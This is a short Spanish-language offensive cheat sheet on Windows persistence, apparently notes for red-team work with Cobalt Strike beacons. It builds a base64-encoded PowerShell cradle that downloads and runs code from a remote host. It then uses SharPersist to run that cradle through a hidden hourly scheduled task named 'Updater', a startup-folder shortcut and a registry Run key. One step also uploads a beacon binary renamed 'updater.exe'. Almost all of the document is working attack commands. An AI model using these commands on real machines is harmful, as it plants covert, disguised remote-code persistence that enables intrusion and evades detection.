Persistence

Generar payload para crear persistencia.

str='IEX ((new-object net.webclient).downloadstring("http://192.168.147.129/a"))'
echo -en $str | iconv -t UTF-16LE | base64 -w 0
$str = 'IEX ((new-object net.webclient).downloadstring("http://192.168.147.129/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Utilizar SharPersist para crear la persistencia.

execute-assembly C:\Tools\SharPersist.exe

Task Scheduler

Crea una tarea que se ejecuta cada cierto tiempo.

execute-assembly C:\Tools\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFg...<SNIP>...gApACkA" -n "Updater" -m add -o hourly

-t Tecnica de persistencia
-c Commando a ejecutar
-a Argumento para el comando
-n Nombre de la task
-m Agregar / eliminar / listar la task
-o Frecuencia de la task

Startup Folder

Genera un archivo lnk y se ejecuta cuando se reinicia la maquina o se da clic al archivo.

execute-assembly C:\Tools\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFg...<SNIP>...gApACkA" -f "UserEnvSetup" -m add

f Nombre del archivo

Registry AutoRun

Creamos un payload y lo subimos a la maquina victima.

cd C:\ProgramData
upload C:\Tools\Payloads\beacon_x64.exe
mv beacon_x64.exe updater.exe

Crea un registro y se ejecuta cuando se reinicia la maquina.

execute-assembly C:\Tools\SharPersist.exe -t reg -c "C:\ProgramData\updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add